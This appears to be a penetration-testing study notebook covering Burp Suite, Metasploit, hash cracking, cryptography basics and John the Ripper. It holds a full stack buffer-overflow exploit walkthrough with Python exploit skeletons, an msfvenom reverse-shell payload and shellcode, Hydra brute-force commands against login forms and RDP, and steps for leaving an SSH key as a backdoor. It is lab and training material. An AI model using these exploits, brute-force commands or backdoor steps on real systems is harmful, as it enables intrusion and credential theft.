The Pitchfork attack type allows us to use **multiple payload sets** (one per position selected) and iterate through **both payload sets simultaneously.** For example, if we selected two positions (say a username field and a password field), we can provide a username and password payload list. Intruder will then cycle through the combinations of usernames and passwords, resulting in a total number of combinations equalling the smallest payload set provided.

#### Cluster Bomb

The Cluster Bomb attack type allows us to use multiple payload sets (one per position selected) and iterate through **all combinations of the payload** lists we provide. For example, if we selected two positions (say a username field and a password field), we can provide a username and password payload list. Intruder will then cycle through the combinations of usernames and passwords, resulting in a total number of combinations equalling usernames x passwords.

***

### Repeater

Allows us to 'repeat' requests that have previously been made with or without modification. Often used in a precursor step to fuzzing with the aforementioned Intruder

In contrast to Intruder, Repeater is typically used for the purposes of experimentation or more fine-tuned exploitation wherein automation may not be desired.

***

### Sequencer

Analyzes the 'randomness' present in parts of the web app which are intended to be unpredictable. This is commonly used for testing session cookies

Some commonly analyzed items include:

* Session tokens
* Anti-CSRF (Cross-Site Request Forgery) tokens
* Password reset tokens (sent with password resets that in theory uniquely tie users with their password reset requests)

***

### Decoder

Decoder is a tool that allows us to perform various transforms on pieces of data. These transforms vary from decoding/encoding to various bases or URL encoding.

We chain these transforms together and Decoder will automatically spawn an additional tier each time we select a decoder, encoder, or hash

***

### Comparer

It is a tool we can use to compare different responses or other pieces of data such as site maps or proxy histories (awesome for access control issue testing). This is very similar to the Linux tool diff.

Some common uses for Comparer are:

* When looking for username enumeration conditions, you can compare responses to failed logins using valid and invalid usernames, looking for subtle differences in responses. This is also sometimes useful for when enumerating password recovery forms or another similar recovery/account access mechanism.
* When an Intruder attack has resulted in some very large responses with different lengths than the base response, you can compare these to quickly see where the differences lie.
* When comparing the site maps or Proxy history entries generated by different types of users, you can compare pairs of similar requests to see where the differences lie that give rise to different application behavior. This may reveal possible access control issues in the application wherein lower privileged users can access pages they really shouldn't be able to.
* When testing for blind SQL injection bugs using Boolean condition injection and other similar tests, you can compare two responses to see whether injecting different conditions has resulted in a relevant difference in responses.

***

### Extender

Similar to adding mods to a game like Minecraft, Extender allows us to add components such as tool integrations, additional scan definitions, and more!

some of the most popular extensions:

* [Logger++](https://portswigger.net/bappstore/470b7057b86f41c396a97903377f3d81) - Adds enhanced logging to all requests and responses from all Burp Suite tools, enable this one before you need it ;)
* [Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) - A relatively new extension, this allows you to attempt to smuggle requests to backend servers. See this talk by James Kettle for more details: [Link](https://www.youtube.com/watch?v=_A04msdplXs)
* [Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f) - Useful for authentication testing in web app tests. These tests typically revolve around navigating to restricted pages or issuing restricted GET requests with the session cookies of low-privileged users
* [Burp Teams Server](https://github.com/Static-Flow/BurpSuite-Team-Extension) - Allows for collaboration on a Burp project amongst team members. Project details are shared in a chatroom-like format
* [Retire.js](https://portswigger.net/bappstore/36238b534a78494db9bf2d03f112265c) - Adds scanner checks for outdated JavaScript libraries that contain vulnerabilities, this is a premium extension
* [J2EEScan](https://portswigger.net/bappstore/7ec6d429fed04cdcb6243d8ba7358880) - Adds scanner test coverage for J2EE (java platform for web development) applications, this is a premium extension
* [Request Timer](https://portswigger.net/bappstore/56675bcf2a804d3096465b2868ec1d65) - Captures response times for requests made by all Burp tools, useful for discovering timing attack vectors

A prerequisite for many of the extensions offered for Burp, Jython

***

### Scanner

Automated web vulnerability scanner that can highlight areas of the application for further manual investigation or possible exploitation with another section of Burp. This feature, while not in the community edition of Burp Suite, is still a key facet of performing a web application test.

***


# MySQL Enumeration Tools

### Nmap's mysql-enum script

Performs valid-user enumeration against MySQL server using a bug discovered and published by [Kingcope](http://seclists.org/fulldisclosure/2012/Dec/9) Server version 5.x are susceptible to an user enumeration attack due to different messages during login when using old authentication mechanism from versions 4.x and earlier.

***

### Metasploit "mysql\_sql" module

This module allows for simple SQL statements to be executed against a MySQL instance given the appropriate credentials.

***

### Metasploit "mysql\_schemadump" module

This module extracts the schema information from a MySQL DB server.

***

### Metasploit "mysql\_hashdump" module

This module extracts the usernames and encrypted password hashes from a MySQL server and stores them for later cracking.

***


# Wordlists

### SecLists

SecLists is the security tester’s companion. It’s a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more Link : <https://github.com/danielmiessler/SecLists>

***

### Fuzzdb

FuzzDB was created to increase the likelihood of finding application security vulnerabilities through dynamic application security testing. It's the first and most comprehensive open dictionary of fault injection patterns, predictable resource locations, and regex for matching server responses.

#### SQLi platform detection list

Link : <https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/sql-injection/detect/xplatform.txt>

***


# 3. Gaining Access / Exploitation

### Introduction

The exploitation phase can only be as good as the recon and enumeration phases before it, if you did not enumerate all vulnerabilities you may miss an opportunity, or if you did not look hard enough at the target - the exploit you have chosen may fail entirely!

One common tool used for exploitation is called **Metasploit** which has many built-in scripts to try to keep life simple.

You can also used tools like **Burp Suite** and **SQLMap** to exploit web applications. There are tools such as **msfvenom** (for building custom payloads), **BeEF** (browser-based exploitation), and many many others.

#### Finding Exploit Command (Searchsploit)

`Searchsploit` is basically just a command line search tool for exploit-db.com.

### Sql Injection Tools

SQL injection is the art of modifying a SQL query so you can get access to the target's database. This technique is often used to get user's data such as passwords, emails etc. SQL injection is one of the most common web vulnerabilities, and as such, it is highly worth checking for

***

#### **Sqlmap**

is arguably the most popular automated SQL injection tool out there. It checks for various types of injections, and has plenty of customization options.

***

#### **Manual**

Occasionally you will be unable to use sqlmap. This can be for a variety of reasons, such as a the target has set up a firewall or a request limit. In this case it is worth knowing how to do basic manual SQL Injection, if only to confirm that there is SQL Injection. A list of ways to check for SQL Injection can be found (<https://owasp.org/www-community/attacks/SQL\\_Injection>)

***

### Metasploit

Metasploit, an open-source pentesting framework, is a powerful tool utilized by security engineers around the world. Maintained by Rapid 7, Metasploit is a collection of not only thoroughly tested exploits but also auxiliary and post-exploitation tools. Throughout this room, we will explore the basics of using this massive framework and a few of the modules it includes.

***

#### **Initialize Database**

`msfdb init`

***

#### Core Modules

Metasploit consists of six **core modules** that make up the bulk of the tools you will utilize within it:

1. Exploit
   * holds all of the exploit code we will use
2. Payload
   * contains the various bits of shellcode we send to have executed following exploitation
3. Encoder
   * utilized in payload obfuscation, which module allows us to modify the 'appearance' of our exploit such that we may avoid signature detection
4. NOP
   * used with buffer overflow and ROP attacks
5. Auxiliary
   * used in scanning and verification machines are exploitable
6. Post
   * provides looting and pivoting after exploitation

***

#### **Nmap within Metasploit**

Metasploit comes with a built-in way to run nmap and feed it's results directly into our database. Let's run that now by using the command `db_nmap -s(flag) (ip)`

* Scan results get stored in metasploit database
  * hosts : get host details
  * services : get scanned services details
  * vulns : discovered vulnerabilities

***

### Cheat Sheets

#### Reverse Shell

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>

***

#### Kali Linux Built in WebShells

Kali Linux also comes pre-installed with a variety of webshells located at `/usr/share/webshells`. The **SecLists** repo, though primarily used for wordlists, also contains some very useful code for obtaining shells.

***

#### PowerView

PowerView is a PowerShell tool to gain network situational awareness on Windows domains. It contains a set of pure-PowerShell replacements for various windows "net \*" commands. <https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>

***


# Buffer Overflow

Stack based buffer overflow


# 1. Immunity Debugger

**Always run Immunity Debugger as Administrator if you can.**

There are generally two ways to use Immunity Debugger to debug an application:

1. Make sure the application is running, open Immunity Debugger, and then use :code:`File -> Attach` to attack the debugger to the running process.
2. Open Immunity Debugger, and then use :code:`File -> Open` to run the application.

When attaching to an application or opening an application in Immunity Debugger, the application will be paused. Click the "Run" button or press F9.

Note: If the binary you are debugging is a Windows service, you may need to restart the application via `sc`

```bash
sc stop SLmail
sc start SLmail
```

Some applications are configured to be started from the service manager and will not work unless started by service control.


# 2. Mona Setup

Mona is a powerful plugin for Immunity Debugger that makes exploiting buffer overflows much easier.

\| The latest version can be downloaded here: <https://github.com/corelan/mona> | The manual can be found here: <https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/>

Copy the mona.py file into the PyCommands directory of Immunity Debugger (usually located at C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands).

In Immunity Debugger, type the following to set a working directory for mona.

```bash
!mona config -set workingfolder c:\mona\%p
```


# 3. Spiking

It is the process of finding what commands crashes a particular program.

For instance take this vulnserver commands&#x20;

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FRw4oyxZTHuuJ6sPtvoFs%2Fimage.png?alt=media&amp;token=739169d2-8730-4c71-8b3d-54443dabd2cc" alt=""><figcaption></figcaption></figure>

We will take each command one at a time and try to see what command overflows the buffer if we send a bunch of characters at it.

***

### generic\_send\_tcp

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FLkYZ812Px4gBE6rjhtsw%2Fimage.png?alt=media&amp;token=0001c350-bb00-4f7a-b016-971956e3fe50" alt=""><figcaption></figcaption></figure>

### Spike Script

1. Name the file as `file.spk`
2. File Format
   * ```bash
     s_readline();
     s_string("STATS ");
     s_string_variable("0");
     ```
   * Change "STATS" to the command that you want to test

***

If we run the `generic_send_tcp` command and to find the vulnerable command, if the immunity debugger pauses and crashes, it means that the command is vulnerable

You will see that ESP, EBP and EIP registers will be overwritten with `As (4141...)`


# 4. Fuzzing

The following Python script can be modified and used to fuzz remote entry points to an application. It will send increasingly long buffer strings in the hope that one eventually crashes the application.

```python
import socket, time, sys

ip = "10.0.0.1"
port = 21
timeout = 5

# Create an array of increasing length buffer strings.
buffer = []
counter = 100
while len(buffer) < 30:
	buffer.append("A" * counter)
	counter += 100

for string in buffer:
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.settimeout(timeout)
		connect = s.connect((ip, port))
		s.recv(1024)
		s.send("USER username\r\n")
		s.recv(1024)

		print("Fuzzing PASS with %s bytes" % len(string))
		s.send("PASS " + string + "\r\n")
		s.recv(1024)
		s.send("QUIT\r\n")
		s.recv(1024)
		s.close()
	except:
		print("Could not connect to " + ip + ":" + str(port))
		sys.exit(0)
	time.sleep(1)
```

Note that, we need to change `send` command to the command that we spiked and its format will be identified by seeing the `EAX` register in the previous step (spiking). Also add or remove `recv` commands according to the messages that the commands send

Finally run this script and check that the EIP register has been overwritten by A's (\x41). Make a note of any other registers that have either been overwritten, or are pointing to space in memory which has been overwritten.


# 5. Crash Replication & Controlling EIP

The following skeleton exploit code can be used for the rest of the buffer overflow exploit, add `send` and `recv` commands like you did in fuzzing:

```python
import socket

ip = "10.0.0.1"
port = 21

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
	s.connect((ip, port))
	print("Sending evil buffer...")
	s.send(buffer + "\r\n")
	print("Done!")
except:
	print("Could not connect.")
```

Using the buffer length which caused the crash, generate a unique buffer so we can determine the offset in the pattern which overwrites the EIP register, and the offset in the pattern to which other registers point. Create a pattern that is 400 bytes larger than the crash buffer, so that we can determine whether our shellcode can fit immediately. If the larger buffer doesn't crash the application, use a pattern equal to the crash buffer length and slowly add more to the buffer to find space.

```bash
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
```

While the unique buffer is on the stack, use mona's findmsp command, with the distance argument set to the pattern length.

```
!mona findmsp -distance 600
...
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x005f3614 (length 600 bytes)
Cyclic pattern (normal) found at 0x005f4a40 (length 600 bytes)
Cyclic pattern (normal) found at 0x017df764 (length 600 bytes)
EIP contains normal pattern : 0x78413778 (offset 112)
ESP (0x017dfa30) points at offset 116 in normal pattern (length 484)
EAX (0x017df764) points at offset 0 in normal pattern (length 600)
EBP contains normal pattern : 0x41367841 (offset 108)
...
```

Note the EIP offset (112) and any other registers that point to the pattern, noting their offsets as well. It seems like the ESP register points to the last 484 bytes of the pattern, which is enough space for our shellcode.

Create a new buffer using this information to ensure that we can control EIP:

```python
prefix = ""
offset = 112
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "C" * (600-112-4)
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix
```

Crash the application using this buffer, and make sure that EIP is overwritten by B's (\x42) and that the ESP register points to the start of the C's (\x43).


# 6. Finding Bad Characters

Generate a bytearray using mona, and exclude the null byte (\x00) by default. Note the location of the bytearray.bin file that is generated.

```
!mona bytearray -b "\x00"
```

Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \x01 to \xff:

```python
#!/usr/bin/env python
from __future__ import print_function

for x in range(1, 256):
	print("\\x" + "{:02x}".format(x), end='')

print()
```

Put the string of bad chars before the C's in your buffer, and adjust the number of C's to compensate:

```python
badchars = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff"
payload = badchars + "C" * (600-112-4-255)
```

Crash the application using this buffer, and make a note of the address to which ESP points. This can change every time you crash the application, so get into the habit of copying it from the register each time.

Use the mona compare command to reference the bytearray you generated, and the address to which ESP points:

```
!mona compare -f C:\mona\appname\bytearray.bin -a <address>
```


# 7. Find a Jump Point

The mona jmp command can be used to search for jmp (or equivalent) instructions to a specific register. The jmp command will, by default, ignore any modules that are marked as aslr or rebase.

The following example searches for "jmp esp" or equivalent (e.g. call esp, push esp; retn, etc.) while ensuring that the address of the instruction doesn't contain the bad chars \x00, \x0a, and \x0d.

```
!mona jmp -r esp -cpb "\x00\x0a\x0d"
```

The mona find command can similarly be used to find specific instructions, though for the most part, the jmp command is sufficient:

```
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x0a\x0d"
```

Choose an address from the log window and update your exploit.py script, setting the `retn` variable to the address, written backwards (if the system is little endian). For example if the address is `\x01\x02\x03\x04` in Immunity, write it as `\x04\x03\x02\x01` in your exploit.


# 8. Generate Payload

Generate a reverse shell payload using msfvenom, making sure to exclude the same bad chars that were found previously:

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
```

Copy the generated C code strings and integrate them into your exploit.py script payload variable using the following notation:

```python
payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d"
...
"\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6"
"\x19\x53\xd0\x92\x19\x53\x2e\x1d")
```


# 9. Prepend NOPs

If an encoder was used (more than likely if bad chars are present, remember to prepend at least 16 NOPs (\x90) to the payload. Like this

```python
padding = "\x90" * 16
```


# 10. Final Buffer

```python
prefix = ""
offset = 112
overflow = "A" * offset
retn = "\x56\x23\x43\x9A"
padding = "\x90" * 16
payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..."
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix
```


# Cryptography

### Key Terms

#### Plaintext

Data before encryption or hashing, often text but not always as it could be a photograph or other file instead.

#### Encoding

This is NOT a form of encryption, just a form of data representation like base64 or hexadecimal. Immediately reversible.

#### Hash

A hash is the output of a hash function. Hashing can also be used as a verb, "to hash", meaning to produce the hash value of some data.

#### Brute force

Attacking cryptography by trying every different password or every different key

#### Cryptanalysis

Attacking cryptography by finding a weakness in the underlying maths

***

### Rainbow Tables

A rainbow table is a lookup table of hashes to plaintexts, so you can quickly find out what password a user had just from the hash. A rainbow table trades time taken to crack a hash for hard disk space, but they do take time to create.

#### Example

`Hash : Password` `02c75fb22c75b23dc963c7eb91a062cc : zxcvbnm` `b0baee9d279d34fa1dfd71aadb908c3f : 11111`

***

### Protection against Rainbow Tables

To protect against rainbow tables, we add a salt to the passwords. The salt is randomly generated and stored in the database, unique to each user.

The salt is added to either the start or the end of the password before it’s hashed, and this means that every user will have a different password hash even if they have the same password.

***

### Recognizing Password Hashes

Automated hash recognition tools exist, but they are unreliable for many formats. For hashes that have a prefix, the tools are reliable. If you found the hash in a web application database, it's more likely to be md5 than NTLM. Automated hash recognition tools often get these hash types mixed up,

#### Unix Password Hashes

Unix style password hashes are very easy to recognise, as they have a prefix. The prefix tells you the hashing algorithm used to generate the hash. The standard format is `$id$salt$hashed`

On Linux, password hashes are stored in /etc/shadow. This file is normally only readable by root. They used to be stored in /etc/passwd, and were readable by everyone.

#### Windows Password Hashes

Windows passwords are hashed using NTHash/NTLM, which is a variant of md4. They're visually identical to md4 and md5 hashes, so it's very important to use context to work out the hash type.

On Windows, password hashes are stored in the SAM. Windows tries to prevent normal users from dumping them, but tools like `mimikatz` or from the Active Directory database: `NTDS.dit` exist for this. Importantly, the hashes found there are split into NT hashes and LM hashes.

You may not have to crack the hash to continue privilege escalation- as you can often conduct a "pass the hash" attack instead, but sometimes hash cracking is a viable option if there is a weak password policy.

Windows NLTM hash format is `Username:Relative Identifier:LM Hash:NT Hash`

A great place to find more hash formats and password prefixes is the [hashcat example page](https://hashcat.net/wiki/doku.php?id=example_hashes)

***

### HMACs

HMAC is a method of using a cryptographic hashing function to verify the authenticity and integrity of data.

A HMAC can be used to ensure that the person who created the HMAC is who they say they are (authenticity), and that the message hasn’t been modified or corrupted (integrity).

They use a secret key, and a hashing algorithm in order to produce a hash.


# Hash Crack Tools

### **HASHCAT**

hashcat is another one of the most popular hash cracking tools. It is renowned for its versatility and speed. Hashcat does not have auto detection for hashtypes, instead it has modes. For example if you were trying to crack an md5 hash the "mode" would be 0, while if you were trying to crack a sha1 hash, the mode would be 100.

***

### **John The Ripper**

jtr is one of the best hash cracking tools available. It supports numerous formats of hashes and is extremely easy to use, while having a lot of options for customization.

***

### **Hashid**

It is used to find the hash type of a particular hash, it is written in python

***


# Online Password Cracking Tools

### **Hydra**

Hydra is a **brute force** online password cracking program; a quick system login password 'hacking' tool.

* Hydra has the ability to bruteforce the following protocols: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, **HTTP-FORM-POST**, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

#### Bruteforce HTTP-POST-FORM

```
hydra -l $userName -P $wordList -t 4 -f -s $port $ip http-post-form "/$loginPath:username=^USER^&password=^PASS^:F=incorrect"
```

#### Bruteforce Any Protocol

```
hydra -P <wordlist> -v <ip> <protocol>
```

#### Attack a Windows Remote Desktop

```
hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>
```

***

### Crackstation.net

Crackstation internally use HUGE rainbow tables to provide fast password cracking for hashes without salts. Doing a lookup in a sorted list of hashes is really quite fast, much much faster than trying to crack the hash.


# Encryption

### **Key Terms**

#### Ciphertext

The result of encrypting a plaintext, encrypted data

#### Cipher

A method of encrypting or decrypting data. Modern ciphers are cryptographic, but there are many non cryptographic ciphers like Caesar.

#### Encryption

Transforming data into ciphertext, using a cipher.

#### Key

Some information that is needed to correctly decrypt the ciphertext and obtain the plaintext.

#### Passphrase

Separate to the key, a passphrase is similar to a password and used to protect a key.

#### Asymmetric encryption

Uses different keys to encrypt and decrypt. Examples are RSA and Elliptic Curve Cryptography. Normally these keys are referred to as a public key and a private key. Data encrypted with the private key can be decrypted with the public key, and vice versa. Your private key needs to be kept private, hence the name. Asymmetric encryption tends to be slower and uses larger keys, for example RSA typically uses 2048 to 4096 bit keys.

#### Symmetric encryption

Uses the same key to encrypt and decrypt. Examples of Symmetric encryption are DES (Broken) and AES.These algorithms tend to be faster than asymmetric cryptography, and use smaller keys (128 or 256 bit keys are common for AES, DES keys are 56 bits long).

#### Brute force

Attacking cryptography by trying every different password or every different key

***

### **Rivest Shamir Adleman (RSA)**

#### Maths Side

RSA is based on the mathematically difficult problem of working out the factors of a large number. It’s very quick to multiply two prime numbers together, say 17\*23 = 391, but it’s quite difficult to work out what two prime numbers multiply together to make 14351 (113x127 for reference).

#### Attacking Side

The maths behind RSA seems to come up relatively often in CTFs, normally requiring you to calculate variables or break some encryption based on them. The wikipedia page for RSA seems complicated at first, but will give you almost all of the information you need in order to complete challenges.

There are some excellent tools for defeating RSA challenges in CTFs, and my personal favorite is [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) which has worked very well for me. I’ve also had some success with [rsatool](https://github.com/ius/rsatool).

The key variables that you need to know about for RSA in CTFs are `p, q, m, n, e, d, and c`.

* “p” and “q” are large prime numbers, “n” is the product of p and q.
* The public key is n and e, the private key is n and d.
* “m” is used to represent the message (in plaintext) and “c” represents the ciphertext (encrypted text).

See [MuirlandOracle’s blog post](https://muirlandoracle.co.uk/2020/01/29/rsa-encryption/) for Learning Maths behind it.

***

### Establishing Keys Using Asymmetric Cryptography

A very common use of asymmetric cryptography is exchanging keys for symmetric encryption.

Asymmetric encryption tends to be slower, so for things like HTTPS symmetric encryption is better.

#### Metaphorically

* Imagine you have a secret code, and instructions for how to use the secret code. If you want to send your friend the instructions without anyone else being able to read it, what you could do is ask your friend for a lock.
* Only they have the key for this lock, and we’ll assume you have an indestructible box that you can lock with it.
* If you send the instructions in a locked box to your friend, they can unlock it once it reaches them and read the instructions.
* After that, you can communicate in the secret code without risk of people snooping.
* In this metaphor, the secret code represents a symmetric encryption key, the lock represents the server’s public key, and the key represents the server’s private key.
* You’ve only used asymmetric cryptography once, so it’s fast, and you can now communicate privately with symmetric encryption.
* In reality, you need a little more cryptography to verify the person you’re talking to is who they say they are, which is done using digital signatures and certificates. You can find a lot more detail on how HTTPS (one example where you need to exchange keys) really works from this [excellent blog post](https://robertheaton.com/2014/03/27/how-does-https-actually-work/).

***

### **Digital Signatures and Certificates**

#### Digital Signatures

Digital signatures are a way to prove the authenticity of files, to prove who created or modified them. Using asymmetric cryptography, you produce a signature with your private key and it can be verified using your public key. As only you should have access to your private key, this proves you signed the file.

#### Certificates (Prove who you are!)

Certificates are also a key use of public key cryptography, linked to digital signatures. A common place where they’re used is for HTTPS.

Your web browser know that the server you’re talking to is the real website using certificates.

The certificates have a chain of trust, starting with a root CA (certificate authority). Root CAs are automatically trusted by your device, OS, or browser from install. Certs below that are trusted because the Root CAs say they trust that organisation. Certificates below that are trusted because the organisation is trusted by the Root CA and so on. There are long chains of trust. [Blog Post in Detail](https://robertheaton.com/2014/03/27/how-does-https-actually-work/)

You can get your own HTTPS certificates for domains you own using Let’s Encrypt for free. If you run a website, it’s worth setting it up.

***

### **SSH authentication**

By default, SSH is authenticated using usernames and passwords in the same way that you would log in to the physical machine.

SSH can also be configured with key authentication instead. This uses public and private keys to prove that the client is a valid and authorised user on the server. By default, SSH keys are RSA keys. You can choose which algorithm to generate, and/or add a passphrase to encrypt the SSH key. `ssh-keygen` is the program used to generate pairs of keys most of the time.

#### SSH Private Keys

You should treat your private SSH keys like passwords. Don’t share them, they’re called private keys for a reason. If someone has your private key, they can use it to log in to servers that will accept it unless the key is encrypted.

It’s very important to mention that the passphrase to decrypt the key isn’t used to identify you to the server at all, all it does is decrypt the SSH key. The passphrase is never transmitted, and never leaves your system.

Using tools like John the Ripper, you can attack an encrypted SSH key to attempt to find the passphrase, which highlights the importance of using a secure passphrase and keeping your private key private.

When generating an SSH key to log in to a remote machine, you should generate the keys on your machine and then copy the public key over as this means the private key never exists on the target machine.

#### How to use these keys

The `~/.ssh` folder is the default place to store these keys for OpenSSH. The `authorized_keys` file in this directory holds public keys that are allowed to access the server if key authentication is enabled. By default on many distros, key authentication is enabled as it is more secure than using a password to authenticate. Normally for the root user, only key authentication is enabled.

In order to use a private SSH key, the permissions must be set up correctly otherwise your SSH client will ignore the file with a warning. Only the owner should be able to read or write to the private key (`600` or stricter). `ssh -i keyNameGoesHere user@host` is how you specify a key for the standard Linux OpenSSH client.

#### Using SSH keys to get a better shell

**SSH keys are an excellent way to “upgrade” a reverse shell,** assuming the user has login enabled (www-data normally does not, but regular users and root will). Leaving an SSH key in authorized\_keys on a box can be a useful backdoor, and you don't need to deal with any of the issues of unstabilised reverse shells like Control-C or lack of tab completion.

**Practical**

1. Generate a ssh key-pair on your machine using `ssh-keygen`
2. Copy your public key and paste it into target `authorized_keys` file manually or by using `ssh-copy-id`
3. Next time when logging using ssh, use your private key while connecting to target with `-i`
4. Your backdoor is created.

***

### Diffie Hellman Key Exchange

Key exchange allows 2 people/parties to establish a set of common cryptographic keys without an observer being able to get these keys. Generally, to establish common symmetric keys.

#### Working

Alice and Bob want to talk securely. They want to establish a common key, so they can use symmetric cryptography, but they don’t want to use key exchange with asymmetric cryptography. This is where DH Key Exchange comes in.

Alice and Bob both have secrets that they generate, let’s call these A and B. They also have some common material that’s public, let’s call this C.

We need to make some assumptions. Firstly, whenever we combine secrets/material it’s impossible or very very difficult to separate. Secondly, the order that they're combined in doesn’t matter.

Alice and Bob will combine their secrets with the common material, and form AC and BC. They will then send these to each other, and combine that with their secrets to form two identical keys, both ABC. Now they can use this key to communicate.

[Visual explanation](https://www.youtube.com/watch?v=NmM9HA2MQGI)

DH Key Exchange is often used alongside RSA public key cryptography, to prove the identity of the person you’re talking to with digital signing. This prevents someone from attacking the connection with a man-in-the-middle attack by pretending to be Bob.

***

### PGP

PGP stands for Pretty Good Privacy. It’s a software that implements encryption for encrypting files, performing digital signing and more.

***

### GPG

GnuPG or GPG is an Open Source implementation of PGP from the GNU project. You may need to use GPG to decrypt files in CTFs. With PGP/GPG, private keys can be protected with passphrases in a similar way to SSH private keys. If the key is passphrase protected, you can attempt to crack this passphrase using John The Ripper and gpg2john.

***

### AES

AES, sometimes called Rijndael after its creators, stands for Advanced Encryption Standard. It was a replacement for DES which had short keys and other cryptographic flaws.

AES and DES both operate on blocks of data (a block is a fixed size series of bits).

[Excellent Video from Computerphile](https://www.youtube.com/watch?v=O4xNJsjtN6E)

***

### **Quantum Computers and Encryption**

#### Asymmetric and Quantum

While it’s unlikely we’ll have sufficiently powerful quantum computers until around 2030, once these exist encryption that uses RSA or Elliptical Curve Cryptography will be very fast to break. This is because quantum computers can very efficiently solve the mathematical problems that these algorithms rely on for their strength.

#### AES/DES and Quantum

AES with 128 bit keys is also likely to be broken by quantum computers in the near future, but 256 bit AES can’t be broken as easily. Triple DES is also vulnerable to attacks from quantum computers

#### Current Recommendations

The NSA recommends using RSA-3072 or better for asymmetric encryption and AES-256 or better for symmetric encryption. There are several competitions currently running for quantum safe cryptographic algorithms, and it’s likely that we will have a new encryption standard before quantum computers become a threat to RSA and AES.

#### Other Resources

* NIST has resources that detail what the issues with current encryption is and the currently proposed solutions for these. [Link](https://doi.org/10.6028/NIST.IR.8105)
* Book "Cryptography Apocalypse" By Roger A. Grimes

***


# John the Ripper

### Unshadow

in order to crack /etc/shadow passwords, you must combine it with the /etc/passwd file in order for John to understand the data it's being given. To do this, we use a tool built into the John suite of tools called unshadow. The basic syntax of unshadow is as follows: `unshadow [path to passwd] [path to shadow]`

***

### Zip2John

Similarly to the unshadow tool that we used previously, we're going to be using the zip2john tool to convert the zip file into a hash format that John is able to understand, and hopefully crack. The basic usage is like this: `zip2john [options] [zip file] > [output file]`

* `[options]` - Allows you to pass specific checksum options to zip2john, this shouldn't often be necessary
* `[zip file]` - The path to the zip file you wish to get the hash of
* `>` - This is the output director, we're using this to send the output from this file to the...
* `[output file]` - This is the file that will store the output from

***

### Rar2John

Almost identical to the zip2john tool that we just used, we're going to use the rar2john tool to convert the rar file into a hash format that John is able to understand. The basic syntax is as follows: `rar2john [rar file] > [output file]`

***

### SSH2John

Using John to crack the SSH private key password of id\_rsa files. you can configure key-based authentication, which lets you use your private key, id\_rsa, as an authentication key to login to a remote machine over SSH. However, doing so will often require a password- here we will be using John to crack this password to allow authentication over SSH using the key. `ssh2john [id_rsa private key file] > [output file]`

Its usual location is `/usr/share/john/ssh2john.py`

***

### List Hash Formats

To list john hash formats, `john --list=formats`

***

### Dynamic Hash Formats

Lets suppose, we want to crack a SHA-512 Hash which has a Salt with it. We would use dynamic formats `john --format='dynamic=sha512($p.$s)'` And we will change our hash to be `hash$salt`

***

### Single Crack Mode

In this mode, John uses only the information provided in the username, to try and work out possible passwords heuristically, by slightly changing the letters and numbers contained within the username.

#### Word Mangling

If we take the username: Markus Some possible passwords could be:

* Markus1, Markus2, Markus3 (etc.)
* MArkus, MARkus, MARKus (etc.)
